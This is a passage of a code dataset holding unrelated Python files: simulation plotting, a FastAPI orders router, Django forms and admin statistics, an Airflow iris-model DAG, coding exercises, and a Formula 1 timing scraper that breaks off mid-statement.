+{"seq_id":"28809169797","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib as mpl\nimport matplotlib.gridspec as gridspec\nimport sys\n\nsize = 12\nmed_size = 13\nbig_size = 13\n\nplt.rc('font', size=size)\nplt.rc('axes', titlesize=size)\nplt.rc('axes', labelsize=med_size)\nplt.rc('xtick', labelsize=size)\nplt.rc('ytick', labelsize=size)\nplt.rc('legend', fontsize=size)\nplt.rc('figure', titlesize=big_size)\nplt.rcParams['figure.figsize'] = (4.5, 3)\n\n# Uncomment for LaTex fonts:\n#plt.rcParams['font.family'] = 'serif'\n#plt.rcParams['font.serif'] = ['Computer Modern']\n#mpl.rc('text', usetex=True)\n\ncm_subsection = np.linspace(0.0, 1.0, 4)\ncolors = [ mpl.cm.viridis(x) for x in cm_subsection ]\n\npath = 'Output'\nif len(sys.argv) > 1:\n    d = sys.argv[1]\n    res = sys.argv[2]\n    path = 'Output/{}d_res_'.format(d) + res\n\nx = np.fromfile(path + '/meshx.dat',dtype=float)\ny = np.fromfile(path + '/meshy.dat',dtype=float)\nt = np.fromfile(path + '/time.dat', dtype=float)\nId = np.fromfile(path + '/id.dat', dtype=float)\nVd = np.fromfile(path + '/vd.dat', dtype=float)\n\nnx = len(x)\nny = max(len(y),1)\nnt = len(t)\n\n# Load Data\ntemp = np.fromfile(path + '/f1.dat',dtype=float)\nf1 = temp.reshape([nt, ny, nx])\n\ntemp = np.fromfile(path + '/f2.dat',dtype=float)\nf2 = temp.reshape([nt, ny, nx])\n\ntemp = np.fromfile(path + '/f3.dat',dtype=float)\nf3 = temp.reshape([nt, ny, nx])\n\ntemp = np.fromfile(path + '/f4.dat',dtype=float)\nf4 = temp.reshape([nt, ny, nx])\nf4 = f4/f2\n\ntemp = np.fromfile(path + '/f5.dat',dtype=float)\nf5 = temp.reshape([nt, ny, nx])\n\ntt, xx = np.meshgrid(t,x)\nyloc = 0\n\ntloc = [nt/10, nt/2, -1]\ntloc[0] = np.argmin(np.abs(t-0.2))\n\n\n# Figure 1\nfig = plt.figure(figsize=(5.25,5.25))\ngs = gridspec.GridSpec(2,2)\ngs.set_width_ratios([0.97,0.03])\nax0 = fig.add_subplot(gs[0,0])\nax1 = fig.add_subplot(gs[1,0], sharex=ax0)\nax2 = fig.add_subplot(gs[1,1])\n\nplt.setp(ax0.get_xticklabels(), visible=False)\nax0.spines['right'].set_visible(False)\nax0.spines['top'].set_visible(False)\nax1.spines['right'].set_visible(False)\nax1.spines['top'].set_visible(False)\n\nax0.set_ylabel('Amplitude')\nax1.set_xlabel('Position')\nax1.set_ylabel('Time')\n\nax0.plot(x, f1[tloc[0],yloc,:], label='{:.1f}'.format(t[tloc[0]]), color=colors[0])\nax0.plot(x, f1[tloc[1],yloc,:], label='{:.1f}'.format(t[tloc[1]]), color=colors[1])\nax0.plot(x, f1[tloc[2],yloc,:], label='{:.1f}'.format(t[tloc[2]]), color=colors[2])\nax0.legend(bbox_to_anchor = (1.3, 0.55), loc = 5, frameon=False, title='Time')\n\nim = ax1.contourf(xx, tt, f1[:,yloc,:].T, 30, cmap='viridis')\nfig.colorbar(im, cax = ax2)\n\n#ax0.set_ylim([-1.05, 1.05])\n#ax1.set_xlim([-0.05, 1.05])\n#ax1.set_ylim([-0.5, 10.5])\n\nfig.suptitle('Field')\ngs.tight_layout(fig, rect=[0, 0, 1, 1])\n\n# Figure 2\nfig2 = plt.figure(figsize=(5.25,5.25))\ngs2 = gridspec.GridSpec(2,2)\ngs2.set_width_ratios([0.97,0.03])\nax0 = fig2.add_subplot(gs2[0,0])\nax1 = fig2.add_subplot(gs2[1,0], sharex=ax0)\nax2 = fig2.add_subplot(gs2[1,1])\n\nplt.setp(ax0.get_xticklabels(), visible=False)\nax0.spines['right'].set_visible(False)\nax0.spines['top'].set_visible(False)\nax1.spines['right'].set_visible(False)\nax1.spines['top'].set_visible(False)\n\nax0.set_ylabel('Amplitude')\nax0.set_yscale('log')\nax1.set_xlabel('Position')\nax1.set_ylabel('Time')\n\nax0.plot(x, f2[tloc[0],yloc,:], label='{:.1f}'.format(t[tloc[0]]), color=colors[0])\nax0.plot(x, f2[tloc[1],yloc,:], label='{:.1f}'.format(t[tloc[1]]), color=colors[1])\nax0.plot(x, f2[tloc[2],yloc,:], label='{:.1f}'.format(t[tloc[2]]), color=colors[2])\nax0.legend(bbox_to_anchor = (1.3, 0.55), loc = 5, frameon=False, title='Time')\n\nim = ax1.contourf(xx, tt, np.log10(f2[:,yloc,:]).T, 30, cmap='viridis')\nfig2.colorbar(im, cax = ax2)\n\n#ax0.set_ylim([-0.05, 1.05])\n#ax1.set_xlim([-0.05, 1.05])\n#ax1.set_ylim([-0.5, 10.5])\n\nfig2.suptitle('Electron Density')\ngs2.tight_layout(fig2, rect=[0, 0, 1, 1])\n\n# Figure 3\nfig3 = plt.figure(figsize=(5.25,5.25))\ngs3 = gridspec.GridSpec(2,2)\ngs3.set_width_ratios([0.97,0.03])\nax0 = fig3.add_subplot(gs3[0,0])\nax1 = fig3.add_subplot(gs3[1,0], sharex=ax0)\nax2 = fig3.add_subplot(gs3[1,1])\n\nplt.setp(ax0.get_xticklabels(), visible=False)\nax0.spines['right'].set_visible(False)\nax0.spines['top'].set_visible(False)\nax1.spines['right'].set_visible(False)\nax1.spines['top'].set_visible(False)\n\nax0.set_ylabel('Amplitude')\nax0.set_yscale('log')\nax1.set_xlabel('Position')\nax1.set_ylabel('Time')\n\nax0.plot(x, f3[tloc[0],yloc,:], label='{:.1f}'.format(t[tloc[0]]), color=colors[0])\nax0.plot(x, f3[tloc[1],yloc,:], label='{:.1f}'.format(t[tloc[1]]), color=colors[1])\nax0.plot(x, f3[tloc[2],yloc,:], label='{:.1f}'.format(t[tloc[2]]), color=colors[2])\nax0.legend(bbox_to_anchor = (1.3, 0.55), loc = 5, frameon=False, title='Time')\n\nim = ax1.contourf(xx, tt, np.log10(f3[:,yloc,:]).T, 30, cmap='viridis')\nfig3.colorbar(im, cax = ax2)\n\n#ax0.set_ylim([-0.05, 1.05])\n#ax1.set_xlim([-0.05, 1.05])\n#ax1.set_ylim([-0.5, 10.5])\n\nfig3.suptitle('Ion Density')\ngs3.tight_layout(fig3, rect=[0, 0, 1, 1])\n\n# Figure 4\nfig4 = plt.figure(figsize=(5.25,5.25))\ngs4 = gridspec.GridSpec(2,2)\ngs4.set_width_ratios([0.97,0.03])\nax0 = fig4.add_subplot(gs4[0,0])\nax1 = fig4.add_subplot(gs4[1,0], sharex=ax0)\nax2 = fig4.add_subplot(gs4[1,1])\n\nplt.setp(ax0.get_xticklabels(), visible=False)\nax0.spines['right'].set_visible(False)\nax0.spines['top'].set_visible(False)\nax1.spines['right'].set_visible(False)\nax1.spines['top'].set_visible(False)\n\nax0.set_ylabel('Amplitude')\nax0.set_yscale('log')\nax1.set_xlabel('Position')\nax1.set_ylabel('Time')\n\nax0.plot(x, f4[tloc[0],yloc,:], label='{:.1f}'.format(t[tloc[0]]), color=colors[0])\nax0.plot(x, f4[tloc[1],yloc,:], label='{:.1f}'.format(t[tloc[1]]), color=colors[1])\nax0.plot(x, f4[tloc[2],yloc,:], label='{:.1f}'.format(t[tloc[2]]), color=colors[2])\nax0.legend(bbox_to_anchor = (1.3, 0.55), loc = 5, frameon=False, title='Time')\n\nim = ax1.contourf(xx, tt, np.log10(f4[:,yloc,:]).T, 30, cmap='viridis')\nfig4.colorbar(im, cax = ax2)\n\n#ax0.set_ylim([-0.05, 1.05])\n#ax1.set_xlim([-0.05, 1.05])\n#ax0.set_ylim([1e-2, f4.max()*1.05])\n\nfig4.suptitle('Electron Temperature')\ngs4.tight_layout(fig4, rect=[0, 0, 1, 1])\n\n# Figure 5\nfig5 = plt.figure(figsize=(5.25,5.25))\ngs5 = gridspec.GridSpec(2,2)\ngs5.set_width_ratios([0.97,0.03])\nax0 = fig5.add_subplot(gs5[0,0])\nax1 = fig5.add_subplot(gs5[1,0], sharex=ax0)\nax2 = fig5.add_subplot(gs5[1,1])\n\nplt.setp(ax0.get_xticklabels(), visible=False)\nax0.spines['right'].set_visible(False)\nax0.spines['top'].set_visible(False)\nax1.spines['right'].set_visible(False)\nax1.spines['top'].set_visible(False)\n\nax0.set_ylabel('Amplitude')\nax0.set_yscale('log')\nax1.set_xlabel('Position')\nax1.set_ylabel('Time')\n\nax0.plot(x, f5[tloc[0],yloc,:], label='{:.1f}'.format(t[tloc[0]]), color=colors[0])\nax0.plot(x, f5[tloc[1],yloc,:], label='{:.1f}'.format(t[tloc[1]]), color=colors[1])\nax0.plot(x, f5[tloc[2],yloc,:], label='{:.1f}'.format(t[tloc[2]]), color=colors[2])\nax0.legend(bbox_to_anchor = (1.3, 0.55), loc = 5, frameon=False, title='Time')\n\nim = ax1.contourf(xx, tt, np.log10(f5[:,yloc,:]).T, 30, cmap='viridis')\nfig5.colorbar(im, cax = ax2)\n\n#ax0.set_ylim([-0.05, 1.05])\n#ax1.set_xlim([-0.05, 1.05])\n#ax1.set_ylim([-0.5, 10.5])\n\nfig5.suptitle('Metastable Density')\ngs5.tight_layout(fig5, rect=[0, 0, 1, 1])\n\n# Figure 6\nfig6 = plt.figure()\ngs6 = gridspec.GridSpec(1,1)\nax0 = fig6.add_subplot(gs6[0])\n\nax0.spines['right'].set_visible(False)\nax0.spines['top'].set_visible(False)\n\nax0.set_ylabel('Amplitude')\nax0.set_yscale('log')\nax0.set_xlabel('Time')\nax0.set_xscale('log')\n\nax0.plot(t, Vd, color=colors[0], label='Vd')\nax0.plot(t, Id, color=colors[2], label='Id')\nax0.legend(frameon=False, loc='best')\n\ngs6.tight_layout(fig6, rect=[0, 0, 1, 1])\n\nif (ny > 1):\n    fig = plt.figure(figsize = (4.5,3.5))\n    gs = gridspec.GridSpec(1,1)\n    ax0 = fig.add_subplot(gs[0])\n\n    ax0.spines['right'].set_visible(False)\n    ax0.spines['top'].set_visible(False)\n\n    ax0.contourf(y,x,f1[-1,:,:].T, 30)\n    plt.axis('equal')\n    ax0.set_ylabel('X')\n    ax0.set_xlabel('R')\n    fig.suptitle('Field')\n    gs.tight_layout(fig, rect=[0, 0, 1, 1])\n\n    fig = plt.figure(figsize = (4.5,3.5))\n    gs = gridspec.GridSpec(1,1)\n    ax0 = fig.add_subplot(gs[0])\n\n    ax0.spines['right'].set_visible(False)\n    ax0.spines['top'].set_visible(False)\n\n    ax0.contourf(y,x,f2[-1,:,:].T, 30)\n    plt.axis('equal')\n    ax0.set_ylabel('X')\n    ax0.set_xlabel('R')\n    fig.suptitle('Density')\n    gs.tight_layout(fig, rect=[0, 0, 1, 1])\n\nplt.show()\n","repo_name":"SPPLbuggs/fluidsim-impl","sub_path":"plot.py","file_name":"plot.py","file_ext":"py","file_size_in_byte":8406,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"5982612652","text":"from uuid import UUID\n\nfrom fastapi import APIRouter, Depends\nfrom sqlalchemy.ext.asyncio import AsyncSession\n\nfrom src import crud\nfrom src.schemas.order import OrderCreate, UserOrdersResponse, OrderResponse, OrderUpdate\nfrom src.db.database import get_async_session\nfrom src.core.auth import current_user\n\nrouter = APIRouter()\n\n\n@router.get(\"/{order_id}\", dependencies=[Depends(current_user)], response_model=OrderResponse)\nasync def get_specific_order(order_id: UUID, session: AsyncSession = Depends(get_async_session)):\n    order = await crud.order.get(session, order_id)\n    return order\n\n\n@router.get(\"/\", dependencies=[Depends(current_user)], response_model=UserOrdersResponse)\nasync def get_orders(session: AsyncSession = Depends(get_async_session)):\n    orders = await crud.order.get_multi(session)\n    return UserOrdersResponse(orders=orders)\n\n\n@router.get(\"\", dependencies=[Depends(current_user)], response_model=UserOrdersResponse)\nasync def get_user_orders(user_id: str, session: AsyncSession = Depends(get_async_session)):\n    user_orders = await crud.order.get_user_orders(user_id, session)\n    return UserOrdersResponse(orders=user_orders)\n\n\n@router.post(\"/create\", dependencies=[Depends(current_user)], response_model=OrderResponse)\nasync def add_specific_order(new_order: OrderCreate, session: AsyncSession = Depends(get_async_session)):\n    new_order = await crud.order.create(db=session, obj_in=new_order)\n    return new_order\n\n\n@router.post(\"/update/{order_id}\", dependencies=[Depends(current_user)], response_model=OrderResponse)\nasync def update_order(order_id, new_data: OrderUpdate,  session: AsyncSession = Depends(get_async_session)):\n    order = await crud.order.get(session, order_id)\n    new_order = await crud.order.update(db=session, db_obj=order, obj_in=new_data)\n    return new_order\n\n\n@router.post(\"/delete/{order_id}\", status_code=200, dependencies=[Depends(current_user)])\nasync def update_order(order_id, session: AsyncSession = Depends(get_async_session)):\n    await crud.order.remove(db=session, obj_id=order_id)\n    return {\"success\": True}\n","repo_name":"GareginBadalov/FastAPItest","sub_path":"src/api/api_v1/endpoints/orders.py","file_name":"orders.py","file_ext":"py","file_size_in_byte":2082,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"44038064106","text":"import time\n\nfrom collections.abc import Mapping\n\nfrom auditinfo.base import *\nfrom auditinfo.botan import *\n\ndef rst_substitutions(custom_substitutions : Mapping[str, str] = {}) -> str:\n    \"\"\" An rST prolog containing a number of useful substitutions.\n\n        Example: In rST, just write |document_gitsha| to render the\n                 current git revision of repository.\n    \"\"\"\n\n    substitutions = {\n        \"document_gitsha\": repository_gitsha(),\n        \"document_gitsha_short\": repository_gitsha()[:7],\n        \"document_datestamp\": time.strftime(\"%d.%m.%Y\"),\n        \"botan_version\": botan_version(),\n        \"botan_git_base_ref\": botan_git_base_ref(),\n        \"botan_git_ref\": botan_git_ref(),\n        **custom_substitutions\n    }\n\n    return '\\n'.join([f\".. |{subst}| replace:: {value}\" for subst, value in substitutions.items()])\n\n\ndef unicode_mappings():\n    mapping = {\n        \"200B\": \"\\\\allowbreak\", # zero-width space\n        \"03C1\": \"$\\\\rho$\",\n    }\n\n    return {\n        \"utf8extra\": (''.join([\"\\\\DeclareUnicodeCharacter{%s}{%s}\" % (codepoint, latex) for codepoint, latex in mapping.items()]))\n    }\n","repo_name":"sehlen-bsi/botan-docs","sub_path":"tools/auditinfo/auditinfo/document.py","file_name":"document.py","file_ext":"py","file_size_in_byte":1121,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"40739580890","text":"\"\"\"\nCrie um programa onde o usuário possa digitar sete valores numéricos e cadastre-os em uma lista única que mantenha separados\nos valores pares e ímpares. No final, mostre os valores pares e ímpares em ordem crescente.\n\"\"\"\npar = []\nimpar = []\nlista = [par, impar]\nfor n in range(7):\n    num = int(input(f\"Digite o {n+1} número: \"))\n    if num % 2 == 0:\n        lista[0].append(num)\n    else:\n        lista[1].append(num)\npar.sort()\nimpar.sort()\nprint(f\"Os números pares digitados foram: {par}\")\nprint(f\"Os números ímpares digitadso foram: {impar}\")\n","repo_name":"hatesunn/CursoEmVideoPython","sub_path":"pythonExercicios/ex085.py","file_name":"ex085.py","file_ext":"py","file_size_in_byte":560,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"27185682330","text":"# 1015. Smallest Integer Divisible by K\n# User Accepted: 677\n# User Tried: 1745\n# Total Accepted: 710\n# Total Submissions: 6398\n# Difficulty: Medium\n# Given a positive integer K, you need find the smallest positive integer N such that N is divisible by K,\n# and N only contains the digit 1.\n#\n# Return the length of N.  If there is no such N, return -1.\n#\n#\n#\n# Example 1:\n#\n# Input: 1\n# Output: 1\n# Explanation: The smallest answer is N = 1, which has length 1.\n# Example 2:\n#\n# Input: 2\n# Output: -1\n# Explanation: There is no such positive integer N divisible by 2.\n# Example 3:\n#\n# Input: 3\n# Output: 3\n# Explanation: The smallest answer is N = 111, which has length 3.\n\n\n'''\nInteresting problem\n\nSuppose K = 6\n                                                diff\n1           % 6 =               1 % 6 = 1\n11          % 6 =               5 % 6 = 5         4\n(100 + 11)  % 6 = (4 + 5) % 6 = 9 % 6 = 3         4 (from 5 to 9, before mod 6)\n111         % 6 = above               = 3\n1111        % 6 = (1000 + 111) % 6    = 1         4 (from 3 to 7, before mod 6)\n'''\nclass Solution:\n    def smallestRepunitDivByK(self, K: int) -> int:\n\n        # Don't do this... re-write please\n\n        def is_one_only(val):\n            if val == 0:\n                return False\n\n            while val:\n                val, rem = divmod(val, 10)\n                if rem != 1:\n                    return False\n\n            return True\n\n        if K % 2 == 0:\n            return -1\n\n        guess = 1\n\n        while guess < (1 << 64):\n            quot, rem = divmod(guess, K)\n            if rem == 0:\n                if is_one_only(guess):\n                    return len(str(guess))\n            guess = guess * 10 + 1\n\n        return -1\n\n\n\n\nif __name__ == '__main__':\n    s = Solution()\n    print(s.smallestRepunitDivByK(17))\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"ksparkje/leetcode-practice","sub_path":"python/q1015.py","file_name":"q1015.py","file_ext":"py","file_size_in_byte":1820,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"15981054828","text":"from django.db import models\n\n# Create your models here.\n\nfrom django.forms import ModelForm,Textarea,TextInput,Select\nfrom captcha.fields import CaptchaField\n\nSEX_CHOICE=(\n    ('women','Girl'),\n    ('man','Boy'),\n    ('both','Double sex'),\n    )\n\nclass registerModel(models.Model):\n    def __str__(self):\n        return self.name\n\n    name=models.CharField(max_length=6,help_text='your name!baby!',)\n    sex=models.CharField(max_length=20,choices=SEX_CHOICE)\n    reason=models.CharField(max_length=200)\n    \n\nclass registerForm(ModelForm):\n\n    captcha=CaptchaField()\n\n    class Meta:\n        model=registerModel\n        fields=('name','sex','reason')\n        widgets={\n            'reason':Textarea(attrs={'cols':80,'rows':5,'class':'form-control'}),\n            'name':TextInput(attrs={'class':'form-control'}),\n            'sex':Select(attrs={'class':'form-control'})\n        }\n        #labels={'name':('中文'),}\n        \n        \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\"\"\"\nfrom django import forms\n\nclass RegisterForm(forms.Form):\n    sex_choice=(('man','Man'),\n                ('women','Women'),\n                )\n    name= forms.CharField(max_length=100)\n    show_yourself=forms.CharField(label='why you come',help_text='heihei~')\n    sex=forms.ChoiceField(choices=sex_choice)\n\"\"\"\n\n","repo_name":"littlezz/django_practice","sub_path":"havefun/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1278,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"41410926786","text":"from django.contrib import admin\nfrom bot_app.models import User, Statuses, Products, Payments\nfrom statistic_site.models import Statistic\nfrom django.conf.urls import url\nfrom django.template.response import TemplateResponse\nfrom django.http import HttpResponseRedirect\nfrom django.db.models import Sum\n\n\nclass StatisticAdmin(admin.ModelAdmin):\n    list_display = ['user', 'process', 'confirm', 'canceled', 'paid', 'total_orders', 'sum']\n    search_fields = ['user', 'process', 'confirm', 'canceled', 'paid', 'sum']\n\n    def get_urls(self):\n        urls = super().get_urls()\n\n        new_urls = [\n            url(r'^update_info/$', self.admin_site.admin_view(self.update_info),\n                name='Обновить данные')\n        ]\n        return new_urls + urls\n\n    def change_list(self, request):\n        context = (self.admin_site.each_context(request))\n        return TemplateResponse(request, 'admin/statistic_site/change_list.html', context)\n\n    def changelist_view(self, request, extra_context=None):\n        extra_context = extra_context or {}\n        extra_context['balance'] = Payments.objects.all().aggregate(Sum('amount'))['amount__sum']\n        return super(StatisticAdmin, self).changelist_view(request, extra_context=extra_context)\n\n    def update_info(self, request):\n        for each in User.objects.all():\n            obj, created = Statistic.objects.update_or_create(\n                user=each.username,\n                canceled=Statuses.objects.filter(api=each.api_address, status='Cancel').count(),\n                process=Statuses.objects.filter(api=each.api_address, status='Process').count(),\n                confirm=Statuses.objects.filter(api=each.api_address, status='Confirm').count(),\n                paid=Statuses.objects.filter(api=each.api_address, status='Paid').count(),\n                total_orders=Statuses.objects.filter(api=each.api_address).count(),\n                sum=Products.objects.filter(api=each.api_address).aggregate(Sum('price'))['price__sum']\n            )\n        return HttpResponseRedirect('/admin/statistic_site/statistic/')\n\n\nadmin.site.register(Statistic, StatisticAdmin)\n","repo_name":"abikonya/logistic-bot","sub_path":"statistic_site/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":2141,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"17266995802","text":"from airflow import DAG\nfrom airflow.operators.python import PythonOperator\nfrom airflow.hooks.postgres_hook import PostgresHook\nfrom airflow.utils.task_group import TaskGroup\nfrom airflow.providers.postgres.operators.postgres import PostgresOperator\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.metrics import accuracy_score\nfrom datetime import datetime\nfrom sklearn import datasets\nimport pandas as pd\nimport numpy as np\nimport json\n\ndefault_args = {\n    'start_date': datetime(2021, 2, 15),\n    'schedule_interval': '@once',\n}\n\ndef _iris_data_generation():\n    iris_ds = datasets.load_iris()\n    iris_dataframe = pd.DataFrame(iris_ds['data'], columns = iris_ds['feature_names'])\n    iris_dataframe['target'] = iris_ds['target']\n    # ???\n    # result = iris_dataframe.to_json(orient=\"records\")\n    # iris_json = json.loads(result)\n    # ti.xcom_push(key = 'iris_df', value = iris_json)\n    iris_dataframe.to_csv('/tmp/iris.csv', index=None, header=False)\n\ndef _extract_iris_with_hook(ti):\n    request = \"SELECT * FROM iris\"\n    #connection from Connection wiev in Airflow UI\n    postgres_hook = PostgresHook(postgres_conn_id = 'postgres_default')\n    #Connection from postgreshook\n    connection = postgres_hook.get_conn()\n    cursor = connection.cursor()\n    cursor.execute(request)\n    sourse = cursor.fetchall()\n    print(sourse)\n    ti.xcom_push(key = 'iris_data', value =sourse)\n\n\ndef _train_model(ti, **kwargs):\n    dataset = np.array(ti.xcom_pull(key = 'iris_data',\n                                    task_ids = 'extract_iris_with_hook'))\n    features = dataset[:, :3]\n    target = dataset[:,4]\n    Xtrain, Xtest, Ytrain, Ytest = train_test_split(features, target, test_size = 0.2)\n    model = LogisticRegression(penalty = kwargs['penalty'])\n    model.fit(Xtrain, Ytrain)\n    result = model.predict(Xtest)\n    accuracy = accuracy_score(Ytest, result)\n    ti.xcom_push(key = 'model_accuracy', value = accuracy)\n\ndef _choose_best_model(ti):\n    accuracies = ti.xcom_pull(\n        key = 'model_accuracy', task_ids=[\n            'train_models.train_model_1',\n            'train_models.train_model_2'\n        ])\n    print(f'the best model with Accuracy: {np.max(accuracies)}')\n\n\n\nwith DAG('test_airflow_pipeline', default_args =default_args,\n         catchup = False) as dag:\n    \n    create_table = PostgresOperator(\n        task_id = 'create_table',\n        postgres_conn_id = 'postgres_default',\n        sql = '''\n        CREATE TABLE IF NOT EXISTS iris(\n            sepal_length float8 NOT NULL,\n            sepal_width float8 NOT NULL,\n            petal_length float8 NOT NULL,\n            petal_width float8 NOT NULL,\n            target SMALLINT NOT NULL\n        )\n        '''\n        )\n\n    iris_data_generation = PythonOperator(\n        task_id = 'iris_data_generation',\n        python_callable = _iris_data_generation,\n        provide_context = True #######\n    )\n    # ???\n    # store_iris = BashOperator(\n    #     task_id = 'store_iris',\n    #     bash_command = 'echo -e \".separator \", \"\\n.import /tmp/iris.csv iris\" | set PGPASSWORD=airflow sudo -u postgres psql postgres@localhost/postgres'\n    # )\n    store_iris_sql = PostgresOperator(\n        task_id = 'store_iris_data',\n        postgres_conn_id = 'postgres_default',\n        sql = '''COPY iris FROM '/tmp/iris.csv' DELIMITER ',' CSV'''\n    )\n    \n    extract_iris_with_hook = PythonOperator(\n        task_id = 'extract_iris_with_hook',\n        python_callable = _extract_iris_with_hook\n    )\n\n    with TaskGroup('train_models') as tasks:\n        train_model_1 = PythonOperator(\n            task_id = 'train_model_1',\n            python_callable = _train_model,\n            op_kwargs={'penalty':'none'},\n            provide_context = True\n        )\n        train_model_2 = PythonOperator(\n            task_id = 'train_model_2',\n            python_callable = _train_model,\n            op_kwargs={'penalty':'l2'},\n            provide_context = True\n        )\n    choose_best_model = PythonOperator(\n        task_id = 'choose_best_model',\n        python_callable = _choose_best_model,\n        trigger_rule = 'one_success'\n    )\n\n    create_table >> iris_data_generation >> store_iris_sql >> extract_iris_with_hook >> tasks >> choose_best_model\n","repo_name":"maariiyyaa/GlobalLogic_test","sub_path":"test_airflow_pipeline.py","file_name":"test_airflow_pipeline.py","file_ext":"py","file_size_in_byte":4290,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"12485558469","text":"def checkio(words):\n    words = words.split(\" \")\n    count = 0\n    for x in words:\n        if x.isalpha():\n            count += 1\n        else:\n            count = 0\n        if count >= 3:\n            return True\n    return False\n\n#These \"asserts\" using only for self-checking and not necessary for auto-testing\nif __name__ == '__main__':\n    assert checkio(\"Hello World hello\") == True, \"Hello\"\n    assert checkio(\"He is 123 man\") == False, \"123 man\"\n    assert checkio(\"1 2 3 4\") == False, \"Digits\"\n    assert checkio(\"bla bla bla bla\") == True, \"Bla Bla\"\n    assert checkio(\"Hi\") == False, \"Hi\"","repo_name":"RickyZhong/CheckIO","sub_path":"ELEMENTARY/Three words.py","file_name":"Three words.py","file_ext":"py","file_size_in_byte":597,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"33712082315","text":"import pandas as pd\n\ndf = pd.read_csv('pokemon_data.csv')\n\n# head = top of list, tail = bottom\n# print(df.tail(3))\n\n# read each column\n# print(df.columns)\n# print(df[['Name', 'Type 1', 'HP']][25:40])\n\n# read each row\n# print(df.iloc[1:4])\n\nfor index, row in df.iterrows():\n    print(index, row)\n","repo_name":"dupput/EngMaths2","sub_path":"pandAS.py","file_name":"pandAS.py","file_ext":"py","file_size_in_byte":295,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"}
+{"seq_id":"74899621952","text":"import requests\nimport json\nimport psycopg2\nfrom psycopg2 import sql\nfrom datetime import datetime\n\n# Establish a connection to the PostgreSQL database\nconnection = psycopg2.connect(\n    host=\"pgdb\",  \n    database=\"postgres\",  \n    user=\"admin\",  \n    password=\"admin\"  \n)\ncursor = connection.cursor()  # Create a cursor object to interact with the database\n\nprint('Running')\n# Loop through the years 2017 through to 2023\nfor year in range(2020, 2024):\n    # Make a GET request to the Formula 1 live timing site for each year\n    response = requests.get(f\"https://livetiming.formula1.com/static/{year}/Index.json\")\n    \n    # Parse the JSON response into a Python dictionary\n    data = json.loads(response.content.decode('utf-8-sig'))\n\n    # Extract the season data\n    season = data[\"Year\"]\n    print('Season:', season)\n\n    # Get the season_id from the season table using the year and championship short_name\n    cursor.execute(\n        \"\"\"\n        SELECT season_id \n        FROM race_data.season \n        LEFT JOIN race_data.championship as c USING (championship_id)\n        WHERE c.short_name = 'Formula 1' AND year = %s\n        \"\"\", \n        (season,)\n    )\n    season_id_row = cursor.fetchone()\n    if season_id_row is None:\n        print(f\"No season_id found for year {season}\")\n    else:\n        season_id = season_id_row[0]\n\n    # Iterate over the meetings data\n    for meeting in data[\"Meetings\"]:\n        # Extract necessary data from each meeting\n        country_name = meeting[\"Country\"][\"Name\"]\n        circuit_name = meeting[\"Circuit\"][\"ShortName\"]\n        race_name = meeting[\"Name\"]\n        location = meeting[\"Location\"]\n        official_name = meeting[\"OfficialName\"]\n        race_round = meeting[\"Number\"]\n\n        cursor.execute(\"\"\"\n            SELECT circuit_id \n            FROM race_data.circuits \n            WHERE circuit_reference ILIKE %s \n            OR name ILIKE %s \n            OR location ILIKE %s\n        \"\"\", (location, location, location))\n        circuit_id = cursor.fetchone()\n\n        try:\n            # Insert the data into the 'events' table\n            print('Events',season_id, race_round, circuit_id, official_name)\n            \n            cursor.execute(\n                \"\"\"\n                INSERT INTO race_data.events (season_id, race_round, circuit_id, official_name) \n                VALUES (%s, %s, %s, %s) \n                RETURNING event_id\n                \"\"\",\n                (season_id, race_round, circuit_id, official_name)\n            )\n        except psycopg2.Error as e:\n            print(\"An error occurred while executing the INSERT statement:\")\n            print(e.pgerror)\n            print(f\"Query parameters were: season_id={season_id}, race_round={race_round}, circuit_id={circuit_id}, official_name={official_name}\")\n\n\n        #collect the event_id to update date when it's available\n        event_id = cursor.fetchone()\n\n        # Iterate over the session data for each meeting\n        for session in meeting[\"Sessions\"]:\n            try:\n                session_type = session[\"Type\"]\n            except KeyError:\n                print(\"No Type found in session.\")\n                session_type = None  # or any default value\n\n            try:\n                session_start_date = datetime.fromisoformat(session[\"StartDate\"]) if \"StartDate\" in session else None\n            except Exception as e:  # To catch any error related to date formatting\n                print(f\"Error occurred while parsing StartDate: {e}\")\n                session_start_date = None\n\n            try:\n                session_end_date = datetime.fromisoformat(session[\"EndDate\"]) if \"EndDate\" in session else None\n            except Exception as e:  # To catch any error related to date formatting\n                print(f\"Error occurred while parsing EndDate: {e}\")\n                session_end_date = None\n            \n            try:\n            # Assuming gmt_offset is a string in \"HH:MM:SS\" format.\n                gmt_offset = datetime.strptime(session['gmt_offset'], \"%H:%M:%S\").time() if \"gmt_offset\" in session else None\n            except Exception as e:  # To catch any error related to time formatting\n                print(f\"Error occurred while parsing gmt_offset: {e}\")\n                gmt_offset = None\n\n            # Ensure that event_id is available, otherwise break the script\n            if event_id is None:\n                print(\"No event_id found, stopping script.\")\n                break  # or raise an exception to stop the script\n\n            # Insert the session data into the 'sessions' table, ignoring any conflicts\n            try:\n                cursor.execute(\n                    \"INSERT INTO race_data.sessions (event_id, type, start_date, end_date, gmt_offset) VALUES (%s, %s, %s, %s, %s) ON CONFLICT (session_id) DO NOTHING\",\n                    (event_id, session_type, session_start_date, session_end_date, gmt_offset)\n                )\n            except Exception 